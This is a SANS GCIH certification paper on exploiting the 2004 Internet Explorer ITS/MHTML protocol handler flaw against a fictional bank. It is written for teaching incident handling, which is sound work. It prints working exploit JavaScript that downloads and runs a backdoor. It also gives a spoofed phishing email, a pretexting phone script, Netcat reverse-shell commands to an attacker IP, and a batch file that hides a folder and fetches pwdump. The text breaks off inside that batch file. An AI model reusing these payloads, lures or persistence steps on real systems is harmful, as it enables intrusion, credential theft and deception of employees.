Use offense to inform defense. Find flaws before the bad guys do.

Copyright SANS Institute
Author Retains Full Rights

Interested in learning more?
Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (SEC504)" at https://pen-testing.sans.org/events/
Robbing the Bank with ITS/MHTML Protocol Handler

GIAC Certified Incident Handling Analyst (GCIH)
Practical Assignment – Version 3.0

SANS NS2003 – New Orleans

James M. Balcik

05/02/2004
Table of Contents

ABSTRACT ........................................................................................................................................... 3
STATEMENT OF PURPOSE .................................................................................................................. 4
THE EXPLOIT(S) .................................................................................................................................. 5
Vulnerability: ITS/MHTML Protocol Handler ....................................................................................... 5
Operating System(s) ............................................................................................................................... 5
Protocols/Services/Applications ............................................................................................................. 6
Variants .................................................................................................................................................. 6
Description .............................................................................................................................................. 6
Signatures of the attack ........................................................................................................................... 10
THE PLATFORMS/ENVIRONMENTS ..................................................................................................... 16
Victim’s Platform .................................................................................................................................. 16
Source Network ..................................................................................................................................... 16
Target Network ....................................................................................................................................... 16
Network Diagrams ................................................................................................................................. 17
STAGES OF THE ATTACK ..................................................................................................................... 19
Setting the stage ..................................................................................................................................... 19
1. Reconnaissance ................................................................................................................................... 19
2. Scanning ............................................................................................................................................. 20
3. Exploiting the System ......................................................................................................................... 20
   The Phone Call .................................................................................................................................. 20
   The Email ....................................................................................................................................... 21
   The Backdoor Listener ....................................................................................................................... 26
   The Exploit ........................................................................................................................................ 27
4. Keeping Access ................................................................................................................................... 28
5. Covering Tracks ................................................................................................................................. 29
THE INCIDENT HANDLING PROCESS ................................................................................................. 33
Preparation .............................................................................................................................................. 33
Identification .......................................................................................................................................... 33
Containment .......................................................................................................................................... 37
Eradication & Recovery ........................................................................................................................ 57
Lessons Learned .................................................................................................................................... 57
REFERENCES ......................................................................................................................................... 59
Abstract

The intent of this paper is to partially fulfill the requirements of GCIH certification and to give the reader a clearer understanding of the ITS/MHTML Protocol Handler vulnerability. This paper will explain the exploit using a customized version. It will also cover using Shadow Mailer 1.2 along with using Symantec Ghost to create a sector-by-sector backup of a hard disk.
**Statement of Purpose**

In this scenario a mid-sized Community Bank, XYZ Community Bank is attacked by a disgruntled customer. This customer is disgruntled because of a recent change in Internet Banking providers. The customer is upset about the loss of functionality in the new Internet Banking. He believes the Bank has not listened to his complaints and is going to take matters into his own hands. The attacker decides that if he can steal customer information from the Bank and release this information to the local newspapers, he will destroy the reputation of the Bank.

XYZ Community Bank is a typical community Bank which prides itself on customer service. Each employee is taught to be helpful to customers and to go the extra mile that might be difficult for a larger Bank to provide. XYZ Community Bank services a trusting community. This will work to the attackers’ advantage in his attempts to social engineer information.

The attacker’s plan is to obtain employee contact information and vender information from the XYZ Community Bank’s website. Then use this information to social engineer the name and contact information of the computer systems administrator. The attacker will then email employee’s a spoofed e-mail message as if it were coming from the computer systems administrator.

This HTML email will contain a message to the employee telling them to click on the link to the new support website. When the employee clicks on the link Internet Explorer opens the fake support website and the exploit is run. The exploit will run a backdoor executable which will send the command prompt of the employee’s computer system to the attacker.
The Exploit(s)

This exploit has several files that together makeup the exploit of ITS/MHTML Protocol Handler. Support.html is the HTML email message that will be sent to the victim’s email address. Index.html is the attacker’s code containing the fake support website and the first part of the exploit code. EXPLOIT.CHM is the compressed help file that contains exploit.htm. Exploit.exe is the backdoor payload.

The use of { } throughout the rest of this paper is just to separate out the code, link, variable, or command. It is not part of the code, link, variable, or command.

Name

Exploit: support.html, index.html, EXPLOIT.CHM, exploit.htm, and exploit.exe

Vulnerability: ITS/MHTML Protocol Handler

BUGTRAQ: BID: 9658
LINK: http://www.securityfocus.com/bid/9658/info

CVE: CAN-2004-0380
LINK: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0380

CERT: VU#323070
LINK: http://www.kb.cert.org/vuls/id/323070

CERT: TA04-099A
LINK: http://www.us-cert.gov/cas/techalerts/TA04-099A.html

MS-Bulletin: MS04-013

Operating System(s)

Microsoft Windows 2003 Server
Microsoft Windows XP SP1
Microsoft Windows 2000 Server SP4
Microsoft Windows 2000 Professional SP4
Windows NT Server 4.0 SP6a
Windows NT Workstation 4.0 SP6a
Microsoft Windows ME
Microsoft Windows 98
Microsoft Windows 98 SE
Microsoft Windows 95

Protocols/Services/Applications

Applications:

- Microsoft Internet Explorer 5.0.1 SP4
- Microsoft Internet Explorer 5.0.1 SP3
- Microsoft Internet Explorer 5.0.1 SP2
- Microsoft Internet Explorer 5.0.1 SP1
- Microsoft Internet Explorer 5.0.1
- Microsoft Internet Explorer 5.5 SP2
- Microsoft Internet Explorer 5.5 SP1
- Microsoft Internet Explorer 5.5 preview
- Microsoft Internet Explorer 5.5
- Microsoft Internet Explorer 6.0 SP1
- Microsoft Internet Explorer 6.0

Variants

- CHM_PSYME.Y (Trend Micro)\(^2\)
- Bloodhound.Exploit.6 (Symantec)\(^3\)
- JS/Zna-A (SOPHOS)\(^4\)
- Troj/Psyme-R (SOPHOS)\(^5\)

These variants listed above all contain the ITS/MHTML Protocol Handler exploit with different payloads.

Description

The above listed operating systems and applications are vulnerable to the ITS/MHTML Protocol Handler vulnerability which is necessary for this exploit to work. Don’t think you’re not vulnerable because you don’t use Internet Explorer. Internet Explorer just needs to be on your system and since Internet Explorer is on virtually all Windows based systems you’re potentially vulnerable.

If you believe that Internet Explorer is part of the Windows operating system rather than an application, then this is more of an operating system exploit than an application exploit. Any program that uses the web browser active X control or Internet Explorer HTML rendering engine MSHTML may be affected.
CHM

Compressed Help Files (CHM) is files used in the Microsoft HTML Help system which is the standard help system on the Windows platform. CHM files can be created with the Microsoft HTML Help Workshop. These files can contain HTML, graphics, etc. Normally these files are accessed when a user needs help with an application. The help files are displayed using the Help Viewer application which uses Internet Explorer components to display the content.

ITS

InfoTech Storage Format (ITS) is the storage format used in CHM files or compressed help files. Internet Explorer can use several ITS protocol handlers, ms-its, ms-itss, its, and mk:@MSITStore to access components inside CHM files.

Example Code:

ms-its:http://www.example.com/path/compiledhelpfile.chm://htmlfile.htm

This example URL would access HTML file {htmlfile.htm} within the CHM file {compiledhelpfile.chm}.

MHTML

MIME Encapsulation of Aggregate HTML Documents (MHTML) provides a way to send a MIME email message that includes components of an HTML document such as images, scripts, HTML, etc. This allows the HTML email document not to have to access components across the Internet in order to build the complete document.

The vulnerability exists when referencing a unavailable MHTML file with an alternate location specified for a CHM file using the ITS and MHTML protocols Internet Explorer incorrectly processes the CHM file in the same domain as the unavailable MHTML file domain. Hmmmm that clears it up right? Let’s break it down.

Example Code:

ms-its:mhtml://c:\nosuchfile.mht!http://www.evil.net/EXPLOIT.CHM::/exploit.htm

In this example code it will look for the non-existent MHTML file:

{file://c:\nosuchfile.mht}

And not find it. It will then look to the alternate location:

{http://www.evil.net/EXPLOIT.CHM::/exploit.htm}. 

Page 7 of 61
Here it will execute \{exploit.htm\} found within \{EXPLOIT.CHM\} in the local machine zone since \{file://c:\nosuchfile.mht\} would be in the local machine zone rather than the correct domain \{evil.net\}. This would violate the cross domain security model which allows this exploit work.

Example Code:

\texttt{ms-its:mhtml:file://c:\ path\mhtmlfile.mht}

This code would access the MHTML file \{c:\path\mhtmlfile.mht\}.

This exploit is using the cross site security domain violation to execute HTML, scripts, and programs in the local machine zone. Index.html is a fake support website that contains the malicious code to call exploit.htm within EXPLOIT.CHM that downloads exploit.exe backdoor and executes it. \textbf{Fig. A} is the malicious part of the code contained in index.html.

\textbf{Fig. A}

```
<!-- EXPLOIT CODE BEGIN... -->
<textarea id="code" style="display:none;">
</textarea>
<script language="javascript">
    document.write(code.value.replace(/\${PATH}/g,location.href.substring(0,location.href.indexOf('exploit.htm'))));
</script>
<!-- EXPLOIT CODE END... -->
```

The malicious code in \textbf{Fig. A} starts out creating a hidden browser text window to load exploit.htm. After the \{object data=\} you will notice \{&amp;#109;\}. This is just an HTML encoded way of saying the letter (m). The browser will interpret \{&amp;#109;\} as an (m). This is an example of how to possibly avoid detection by some anti-virus and IDS systems. The rest of the object data line is exactly as discussed earlier. The file \{c:\foo.mht\} will not be found so it will then process the alternate site:

\{http://www.acme.net/EXPLOIT.CHM::/exploit.htm\}
Fig. B

```javascript
function getPath(url) {
  start = url.indexOf('http:')
  end = url.indexOf('EXPLOIT.CHM')
  return url.substring(start, end);
}

payloadURL = getPath(location.href)+'exploit.exe';
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseText);
s.SaveToFile(wmplayerpath,2);
location.href = "mms://";
```

Fig. B contains the malicious code of exploit.htm. Exploit.htm is contained within the compressed help file EXPLOIT.CHM. Exploit.htm contains javascript, XML Document Object Model HttpRequest and ActiveX Data Objects Stream to download exploit.exe from [http://www.acme.net](http://www.acme.net) and overwrite wmplayer.exe on the victim's hard drive.

First we set variable `wmplayerpath` to the location of wmplayer.exe on the victim's hard drive. Next we define a function called `getPath` that will be used to manipulate the URL for downloading the exploit.exe file from [www.acme.net](http://www.acme.net). Now we set the variable `payloadURL` to the location of exploit.exe on [www.acme.net](http://www.acme.net) using the `getPath` function. The `getPath` function is sent the value of `location.href` which is: [http://www.acme.net/EXPLOIT.CHM://exploit.htm](http://www.acme.net/EXPLOIT.CHM://exploit.htm).

The `getPath` function determines the start position of the (h) in (http) and the end position of (E) in (EXPLOIT.CHM). It then passes this part of the string [http://www.acme.net/](http://www.acme.net) and adds exploit.exe to the end giving `payloadURL` the value of [http://www.acme.net/EXPLOIT.exe](http://www.acme.net/EXPLOIT.exe).

XML Document Object Model HttpRequest or DOM HttpRequest is a programming interface for XML documents. DOM HttpRequest provides a way to get and send XML documents from a web server. In this case we are going to use it to get exploit.exe from [www.acme.net](http://www.acme.net). First we setup DOM HttpRequest by defining a variable `{x}` to receive the binary file exploit.exe. Then we tell DOM HttpRequest to get exploit.exe using `{x.Open("GET",payloadURL,0)}` and `{x.Send()}`.

Page 9 of 61
ActiveX Data Objects Stream or ADO Streams will be used to take the value of \{x\} which is exploit.exe and overwrite wmplayer.exe on the victim’s hard drive. First we setup ADO Streams by defining a variable \{s\} to receive exploit.exe and write to the victim’s hard drive. \{s.Mode = 3\} sets the permissions to read/write. \{s.Type = 1\} sets it to binary data. \{s.Open\} opens the stream. \{s.Write\} writes binary data to the binary streams object \{s\}. \{s.SaveToFile\} saves the binary contents of a stream object to wmplayer.exe of the victim’s hard drive.

Now we return to index.html. In Fig. A you will see a javascript section. This javascript will execute Windows Media Player by calling an \{mms://\} reference. This of course will cause Internet Explorer to execute wmplayer.exe which is the exploit.exe backdoor program. This will give the attacker access to the victim’s command prompt possibly even if the system is behind a firewall. The backdoor program exploit.exe shovels the shell using TCP port 80 which is the same port http protocol uses for web surfing traffic. Unless the firewall is blocking TCP port 80 outgoing, the backdoor should succeed.

To get this all started, support.html will be sent as an anonymous email to the victim. Fig. C shows the code of support.html. The key to this email will be to gain the victim’s trust. They will have to click on the link. In the stages of attack section, you will see how we get the information to make this email look more trusting to the victim.

**Fig. C**

```html
<html>
<head><title>Check it Out</title></head>

<body>
<h1></h1>
<p align="center">Check it Out</p>
<h1></h1>
<a href="http://www.acme.net">New Support Website</a>

<p align="left">We have a new Support Website I’d like you to check out.<br>Please click on the link (New Support Website) to visit the new Support Website.<br>This site will become more important with added features in the future.<br></p>

<p align="left">Peter Parker<br>Computer Systems Administrator<br>XYZ Community Bank of Anytown<br>123 Street<br>Anytown, XX, 55555<br>(555)555-1234<br>peter.parker@xyzzbank.com</p>

</body>
</html>
```

**Signatures of the attack**

Traces on the system might be the email message if it’s downloaded to the system. Otherwise traces of the email message would exist on the email server if it was not deleted.
If the victim clicks on the link then Internet Explorer would have opened the website. This might still be in the history or cache (Temporary Internet Files) of the browser depending on the settings of the browser.

Another trace on the system would be a non-functioning Microsoft Windows Media Player, wmplayer.exe with a file size of 67,153 bytes. If the victim tried running Microsoft Media Player it would not run as expected and the backdoor would be initiated. If the connections are being monitored at the time wmplayer.exe is run there would be an attempt to connect to the attackers system that could be detected.

Wmplayer.exe also known as exploit.exe is an executable file that has been wrapped with a file wrapper called Elitewrap 1.04\(^9\). This program allows you to combine files like executables, batch files, and text. It also allows you to give parameters to the executables. For example, exploit.exe was created using the Netcat\(^10\) Windows executable with parameters \(-d 555.555.555.555 80 \text{ -} e \text{ cmd.exe}\). Elitewrap 1.04 also allows you to create compiling scripts. **Fig. D** shows the Elitewrap script exploit.ews which was used to create exploit.exe. **Fig. E** shows the command output from the Elitewrap 1.04 during the creation of exploit.exe.

**Fig. D**

```
exploit.exe
y
nc.exe
3
-d 555.555.555.555 80 -e cmd.exe
```

**Fig. E**

```
C:\junk\gcih\exploit-its\trojan-its\elitewrap exploit.ews
elitewrap 1.04 - (C) Tom "elit=" Mcintyre
tom@holodeck.f9.co.uk
http://www.holodeck.f9.co.uk/elitewrap
Stub size: 7712 bytes
Using script file: exploit.ews
Enter name of output file: exploit.exe
Perform CRC-32 checking? [y/n]: y
Enter package file #1: nc.exe
Enter operation: 3
Enter command line: -d 555.555.555.555 80 -e cmd.exe
Enter package file #2:
All done :)”
```

The script in **Fig. D** first tells Elitewrap what the compiled file name will be, exploit.exe. Next Elitewrap wants to know if you want to perform CRC-32 checking.
CRC-32 checking prevents an end user from running a damaged copy or incomplete download of the compiled file. A (y) indicates we do want CRC-32 checking where as a (n) would indicate we do not want CRC-32 checking. Now elitewrap wants the name of the first file to be packaged. We are packaging Netcat (nc.exe), as the file we want to package. A (3) on the next line will pack and execute the file hidden asynchronously. This means that when exploit.exe is executed nc.exe will be executed hidden to the victim. **Fig. F** shows all the possible values 1 through 9. We will give nc.exe parameters {–d 555.555.555.555 80 -e cmd.exe}. When nc.exe is executed with these parameters it will detach from console, connect to IP address 555.555.555.555 on TCP port 80 and send the command prompt.

**Fig. F**

<table>
<thead>
<tr>
<th>Operations:</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 - Pack only</td>
</tr>
<tr>
<td>2 - Pack and execute, visible, asynchronously</td>
</tr>
<tr>
<td>3 - Pack and execute, hidden, asynchronously</td>
</tr>
<tr>
<td>4 - Pack and execute, visible, synchronously</td>
</tr>
<tr>
<td>5 - Pack and execute, hidden, synchronously</td>
</tr>
<tr>
<td>6 - Execute only, visible, asynchronously</td>
</tr>
<tr>
<td>7 - Execute only, hidden, asynchronously</td>
</tr>
<tr>
<td>8 - Execute only, visible, synchronously</td>
</tr>
<tr>
<td>9 - Execute only, hidden, synchronously</td>
</tr>
</tbody>
</table>

In the Keeping Access section there is a technique using the Windows Scheduler Service (AT) command. This technique can be detected by issuing an {AT} command at the command prompt of the victim’s system. It would display all the scheduled tasks. The task that executes {BAT-NC-S.BAT} would be the attacker’s backdoor schedule.

There would be a hidden directory in {c:\program files\x} that contains all the attacker’s downloaded tools.

**Fig. G** shows the interesting results of running strings on wmplayer.exe. The interesting strings found in the output are {eLiTeWrap v1.04}, {nc.exe}, and {d 555.555.555.555 80 –e cmd.exe}. This is interesting because it gives us a hint as to what wmplayer.exe might be doing. If this strings output were compared with a known good version of wmplayer.exe it would show differences that should not exist.
Error #%d reading package!

CRC-32 check failed! File is incomplete, damaged, or has been tampered with. If you downloaded the file, try downloading it again from another site.

GetCommandLineA
GetModuleHandleA
GetTempFileNameA
GetTempPathA
CreateDirectoryA
RemoveDirectoryA
RtlUnwind
WaitForSingleObject
CreateProcessA
MessageBoxA
fcloseall

Fig. G (continued on next page)
Something to keep in mind is that I chose to create my payload for the ITS/MHTML Protocol Handler exploit using Netcat\textsuperscript{12} and Elitewrap\textsuperscript{13} tools. This method lends itself to detection. You may not encounter as simple of a payload? Netcat could be renamed and customized or another backdoor program could be used that is less common. A file wrapper might not be used, a custom program maybe written by the attacker. Keep in mind the concepts rather than the specific tools for the payload. Netcat is being used to send the shell from the victim’s system out TCP port 80 (http protocol port), because I expect the victim to be behind a firewall. The firewall is probably allowing the user to surf the internet out TCP port 80. If this is the case then the backdoor should be allowed to originate from the victims system to the attackers system. Another note, an attacker most likely will not be nice enough to send this connection directly to his system. He would want to at least relay this connection through several systems, preferably outside the victim’s country to make tracking more difficult.
Since the backdoor creates a connection to the attacker’s system, running TCPView\textsuperscript{14} during this connection would provide another trace of this exploit. **Fig. F** shows TCPView output of the established connection to the attacker’s system.

**Fig. F**

<table>
<thead>
<tr>
<th>Process</th>
<th>Type</th>
<th>Local Address</th>
<th>Remote Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>IEXPLORE.EXE:1368</td>
<td>UDP</td>
<td>127.0.0.1:1039</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>inetinfo.exe:1032</td>
<td>TCP</td>
<td>0.0.0.0:21</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>inetinfo.exe:1032</td>
<td>TCP</td>
<td>0.0.0.0:80</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>inetinfo.exe:1032</td>
<td>TCP</td>
<td>0.0.0.0:443</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>inetinfo.exe:1032</td>
<td>TCP</td>
<td>0.0.0.0:1028</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>inetinfo.exe:1032</td>
<td>TCP</td>
<td>0.0.0.0:8613</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>inetinfo.exe:1032</td>
<td>UDP</td>
<td>0.0.0.0:3456</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>LSASS.EXE:248</td>
<td>UDP</td>
<td>192.168.2.82:82:500</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>LSASS.EXE:248</td>
<td>UDP</td>
<td>192.168.2.2:500</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>msdtc.exe:504</td>
<td>TCP</td>
<td>0.0.0.0:1025</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>msdtc.exe:504</td>
<td>TCP</td>
<td>0.0.0.0:3372</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>mstask.exe:772</td>
<td>TCP</td>
<td>0.0.0.0:1026</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>IEXPLORE.EXE:1368</td>
<td>TCP</td>
<td>0.0.0.0:1045</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>nc.exe:820</td>
<td>TCP</td>
<td>192.168.2.82:1045</td>
<td>555.555.555.555:80</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>SERVICES.EXE:236</td>
<td>UDP</td>
<td>0.0.0.0:1027</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>SNMP.EXE:836</td>
<td>UDP</td>
<td>0.0.0.0:161</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>svchost.exe:436</td>
<td>TCP</td>
<td>0.0.0.0:135</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>svchost.exe:436</td>
<td>UDP</td>
<td>0.0.0.0:135</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>0.0.0.0:1029</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.82:139</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>TCP</td>
<td>192.168.2.2:139</td>
<td>0.0.0.0:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>0.0.0.0:445</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>192.168.2.82:137</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>192.168.2.2:138</td>
<td><em>:</em></td>
<td></td>
</tr>
<tr>
<td>System:8</td>
<td>UDP</td>
<td>192.168.2.2:138</td>
<td><em>:</em></td>
<td></td>
</tr>
</tbody>
</table>

There is not a good signature to create an IDS rule. Packet filters will be fooled by the backdoor connection on TCP port 80, but a proxy firewall should detect the lack of an appropriate application layer protocol for http traffic and should drop the traffic since it’s not really http traffic.
The Platforms/Environments

Victim’s Platform

The victim’s platform is running Microsoft Windows 2000 Professional service pack 4 operating system on an x86 based desktop computer. The Internet browser used is Microsoft Internet Explorer 6 service pack 1. The victim’s email client is Novell GroupWise 6.

Source Network

The source network for the attack is the attacker’s home network. The home network is an Ethernet base network running on a Linksys wireless-G WRT54G router/switch firmware v1.02.1. The Linksys router’s Internet port is connected to the Internet service providers DSL modem. The Linksys router is doing NAT or network address translation, so port-forwarding had to be configured to forward TCP port 80 (Netcat) and UDP port 69 (TFTP) incoming traffic to the attacker’s laptop IP address. Port forwarding on this Linksys device is done through the web interface, by clicking on the advanced tab and then on the port-forwarding tab. The laptop the attacker is using is a Dell Inspiron 5150 running Microsoft Windows XP service pack 1. Fig. G shows the attackers network diagram.

Target Network

The target network is XYZ Community Bank network. They are connected to the Internet by a SDSL modem. The SDSL modem is connected to a Cisco Pix 520 firewall running version 6.2(2). The configuration on the Pix does not allow any incoming connections from unknown IP addresses, but does allow any outgoing traffic on any port. The Internet connection is mainly used for http web traffic. The Pix is connected to a Cisco Catalyst 3548XL switch. The Catalyst switch has a basic switch configuration with one VLAN. Fig. H shows the target network diagram.
Network Diagrams

Fig. G

Attacker
ISP DSL Modem

Internet

Linksys Router
Wireless-G
WRT54G
Outside IP: 555.555.555.555
Inside IP: 192.168.1.1

Dell Inspiron 5150
IP: 192.168.1.102

EtherNet

Page 17 of 61
Fig. H

XYZ Community Bank’s Network

- Internet
- ISP DSL Modem
- Cisco Pix 520 Firewall
  - Outside IP: ????.????.?????.???
  - Inside IP: 192.168.2.11
- Cisco Catalyst 3548XL Switch
- Victim's PC
  - IP: 192.168.2.82
- EtherNet
Stages of the Attack

Setting the stage

Just in case you forgot, our attacker is a disgruntled customer of XYZ Community Bank. He has chosen to turn to the dark side and is going to attempt to steal customer information from XYZ Community Bank that he will then give to the local newspaper to destroy the reputation of the Bank. The attacker plans on doing this by first obtaining Bank contact information and employee e-mail addresses. The attacker is also looking for information about technology vendors XYZ Community Bank is using. This information will then be used to place a phone call to the Bank and social engineer the computer system administrator’s name, phone number, and email address.

Next the attacker will use the information about the computer system administrator to create an email message with the support.html code, pretending to be from the computer systems administrator. This email message will be sent to employee email addresses that have been discovered on the Bank’s website. Once an employee opens the email message and clicks on the link to the support website the attacker will be given access to that employee’s computer. Then the attacker will keep access to this system by configuring the backdoor to run at a scheduled time. Once this is done the attacker can download more tools to aid in his search for customer information and systems to exploit.

1. Reconnaissance

The attacker’s reconnaissance will consist of a simple Google search, www.google.com, for XYZ Community Bank of Anytown. Fig. I shows the entry to the Google search engine.
Within the results of this search the attacker finds a link to the XYZ Community Bank website. The attacker verifies that it is the correct website by reading the about us section of the website.

2. Scanning

The attacker’s scanning technique is not as cool as a port scan, but we are looking for targets none the less. The attacker manually scans the website for contact information which happens to be conveniently put on the contact us section of the website. Here our attacker hits a gold mine of information. Listed on the contact us section is the full names and email addresses of several employees, including the XYZ Community Bank President Don Baker. The names are categorized by departments, such as lending, retail banking, investments, and consumer services. This gives the attacker a picture of the organizational structure of the Bank. The website also has been branded by the website developer, Vender Corp., at the bottom of each web page. The branded logo is a hyperlink to the Vender Corp. homepage. The attacker follows the link and learns that Vender Corp. specializes in creating and hosting Bank websites.

3. Exploiting the System

The Phone Call

The attacker is going to pretend he is Chuck Gott the Vice President of implementations at Vender Corp. The Attacker dials the phone number of XYZ Community Bank and the conversation is as follows:
Receptionist:  XYZ Community Bank, Lisa speaking, how may I help you?
Attacker:  Hello Lisa, how's everything up their in Anytown?
Receptionist:  Oooh…everything is just fine…just fine.
Attacker:  Lisa…I'm going to need a little help from you.  My name is Chuck Gott and I'm the Vice President of implementations here at Vender Corp. and I've been talking with your President Don Baker about some ideas he has on the website we developed for your Bank. Unfortunately I miss-placed the contact information Mr. Baker gave me for your computer system administrator.  All I need is the name, phone number and email address, so I can send the information they need before we start making changes.  Could you be so kind as to get me that information? I really need to start the ball rolling for Mr. Baker, since he would like to have some of these changes completed by the end of next month.
Receptionist:  Sure, just one moment while I look up the information.
Attacker:  Thank you.
Receptionist:  O.K. you ready?
Attacker:  I'm ready.
Receptionist:  Peter Parker is his name. His phone number is (555)555-1234 and his email address is peter.parker@xyzbank.com.
Attacker:  Thank you very much. You have a nice day now.

Detecting this type of attack is very difficult. There is a battle between security and business practical. There is however, a right answer to the social engineering technique described here. Ask for Chuck Gott’s phone number and have the computer system administrator call him back. It is unlikely the attacker will give his contact information. Security awareness training with employee’s to make them aware of techniques like this one would help.

The Email

The attacker is going to use a tool called Shadow Mailer 1.2\textsuperscript{16} by OblivionBlack. This tool allows you to create an anonymous email message by changing the structure of the email. Fields like the FROM ADDRESS, FROM NAME, REPLY TO, DATE, and
MESSAGE BODY can be customized. You will need an email server that allows you to relay messages since this tool just creates the email to send. The attacker is going to use a local ISP’s email server mail.isp.net to relay his message. In **Fig. J** you can see a screenshot of Shadow Mailer 1.2. In this screenshot the attacker is configuring the body of the anonymous email message by cutting and pasting the code from support.html into the body field. This is what the victim will see when they open the email message.

**Fig. J**

![Shadow Mailer 1.2](image)

The next configuration in Shadow Mailer 1.2 is the mail settings shown in **Fig. K**. Here the attacker will enter in the FROM ADDRESS field `peter.parker@xyzbank.com`. The key fields to note are the REPLY TO field which has been mistyped on purpose so that the victim can not easily reply to the bogus email to the real computer system administrator. Also, the mail server field needs to be a real email server that allows you to relay email messages. This means the email server will allow you to send email from it without logging in.
The advanced configuration shown in **Fig. L**, allows you to add an EXTRA HEADER and EXTRA HEADER VALUE plus define the MESSAGE CONTENT. The attacker has defined an EXTRA HEADER, {MIME-Version} with the value {1.0}, so the email body, which is made up of HTML code will be displayed properly on the victims email client. Without the EXTRA HEADER entry the victim would receive an email message listing the actually HTML code in the message body section. **CONTENT DISPOSITION** is set to inline. Other options would be attachment and filename. Inline is for an Internet message where the body part should be displayed immediately and in the order in which it occurs. **CONTENT TRANSFER ENCODING** is set to 7bit which states the message contains 7-bit un-encoded US-ASCII data. Content type is set to text/html which states that the message is made up of text and HTML code.
**Fig. L**

![Image of Shadow Mailer 1.2 interface]

**Fig. M** shows the button to send the email message and the message you receive when it sends successfully.
Fig. O shows the email message in the victim’s inbox. Notice the FROM field has the computer system administrator’s email address. The intent is to fool the user into opening the email message since it is from a trusted source.

Fig. O

Fig. P is the email message after the victim opens it. Even though this email is opened in Novell GroupWise 6 client the results are the same with any email client that supports HTML emails. Here the attacker intends for the victim to believe this email message is from the legitimate computer system administrator. The message states that there is a new support website available for them to look at. Contact information is included at the bottom of the message to make it more believable.
Detecting a spoofed email message is very difficult at times. First, should you be getting email from this person? Does it have a subject that really makes sense? Unfortunately the attacker’s email will pass because there is nothing to tip off the victim that this isn’t from the computer systems administrator. A possible solution might be to use a different method for internal communication. For instance, have a separate email server for internal communications. Make this a secure method of communicating between employees of the organization by using encryption for all internal communication. Separation of internal communications from outside communication methods could help in other areas besides the example attack given here.

The Backdoor Listener

After the attacker sends the email message he starts the backdoor listener on his system using the Netcat17 command \{(nc -l –p 80)\} and waits for a connection from the victim’s system. The \{-l\} tells Netcat to listen for a connection and the \{-p 80\} tells...
Netcat to listen on TCP port 80. **Fig. N** shows the attacker’s system listening for a connection.

![Netcat Command Prompt](image)

**Fig. N**

The Exploit

When the victim clicks on the link Internet Explorer will open the website and start executing index.html. **Fig. Q** shows the fake support website displayed to the victim within Internet Explorer.

![Fake Support Website](image)

**Fig. Q**

**Support Version 1x**

**Search Engines**

Google! Yahoo!

**Security Web Sites**

Security Radar SANS

**MISC**

TechTV Dilbert
At this point what the victim does within the fake support website is not important to the attacker. The attacker included some links to other websites that are functioning, but are just for looks. The exploit has already done the evil deed. The victim’s wmplayer.exe file has been overwritten with the backdoor code contained in exploit.exe and executed in the local machine zone of the victim’s system without their knowledge. The attacker will have a remote connection to the victim’s command prompt. Fig. R shows the attacker’s display after the victims system is exploited by visiting the link contained in the email message and the attacker typing a {dir} command.

![Command Prompt - nc -l -p 80](image)

Because the attacker used Elitewrap 1.04, when the wmplayer.exe is executed it unpacks the files on a Windows 2000/XP system to \{c:\documents and settings\{USER\}\local settings\temp\ew_??\tmp\}. You can see in Fig. R nc.exe was unpacked and since nc.exe was executed from this directory, when the attacker receives the connection he will be in the ew_??\tmp directory.

The attacker now has a command line running with the same authority as the user. Most likely the user is going to have access to applications they need to use for their job tasks.

4. Keeping Access

To keep access to the system and download more tools the attacker will first start a TFTP server on his system that holds the files he wants to download to the victim. The attacker uses the TFTP command (tftp 555.555.555.555 get bat-auto-tasks.bat) on the victim’s system to download a batch file called {bat-auto-tasks.bat}, see Fig. S. After the file is downloaded the attacker will execute {bat-auto-tasks.bat}, this will create a hidden directory in \{c:\program files\x\} and copy all the files unpacked in the {ew_??\tmp\} directory to the hidden directory. Next it will start to TFTP
the other tools the attacker wants on the victim’s system. And lastly it will schedule a batch file called {BAT-NC-S.BAT}, see Fig. T, to execute every day at 7:00 P.M. This batch file will result in the execution of the command {nc –d 555.555.555.555 80 –e cmd.exe}. Giving the attacker daily access to the system at 7:00 p.m.

**Fig. S**

```plaintext
@echo off
set hacker=555.555.555.555
cls
c:
    .md "program files/x"
    attrib +h "c:\program files\x"
    copy *." c:\program files\x"
    cd "program files\x"
    tftp %hacker% get bat-nc-s.bat
    tftp -i %hacker% get pwdump.exe
